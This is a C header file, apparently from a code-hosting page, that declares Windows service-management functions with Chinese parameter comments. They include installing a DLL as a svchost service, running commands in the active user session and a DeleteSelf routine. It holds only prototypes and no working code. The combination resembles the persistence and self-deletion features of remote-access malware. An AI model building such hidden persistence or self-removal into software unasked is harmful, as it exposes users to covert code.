30 lines
1.1 KiB
C
30 lines
1.1 KiB
C
// InstallService.h: interface for the InstallService class.
|
|
//
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
#if !defined(AFX_INSTALLSERVICE_H__CC062F67_F199_45A8_9C6D_296960666AE3__INCLUDED_)
|
|
#define AFX_INSTALLSERVICE_H__CC062F67_F199_45A8_9C6D_296960666AE3__INCLUDED_
|
|
|
|
#if _MSC_VER > 1000
|
|
#pragma once
|
|
#endif // _MSC_VER > 1000
|
|
|
|
BOOL NtStartService(LPCTSTR lpService);
|
|
BOOL NtStopService(LPCTSTR lpService);
|
|
BOOL NtInstallService(LPCTSTR strServiceName, //服务名称
|
|
LPCTSTR strDisplayName, //服务显示名称
|
|
LPCTSTR strDescription,//服务描述
|
|
LPCTSTR strPathName, //可执行文件的路径
|
|
LPCTSTR Dependencies,//指定启动该服务前必须先启动的服务或服务组,一般为NULL
|
|
BOOLEAN KernelDriver, //是否安装驱动程序
|
|
ULONG StartType //启动类型
|
|
);
|
|
BOOL NtInstallSvchostService(LPCTSTR strServiceName,
|
|
LPCTSTR strServiceDisp,
|
|
LPCTSTR strServiceDesc,
|
|
LPCTSTR strDllPath);
|
|
void NtUninstallService(LPCTSTR ServiceName);
|
|
HANDLE RunInActiveSession(LPCTSTR lpCommandLine);
|
|
void DeleteSelf();
|
|
#endif // !defined(AFX_INSTALLSERVICE_H__CC062F67_F199_45A8_9C6D_296960666AE3__INCLUDED_)
|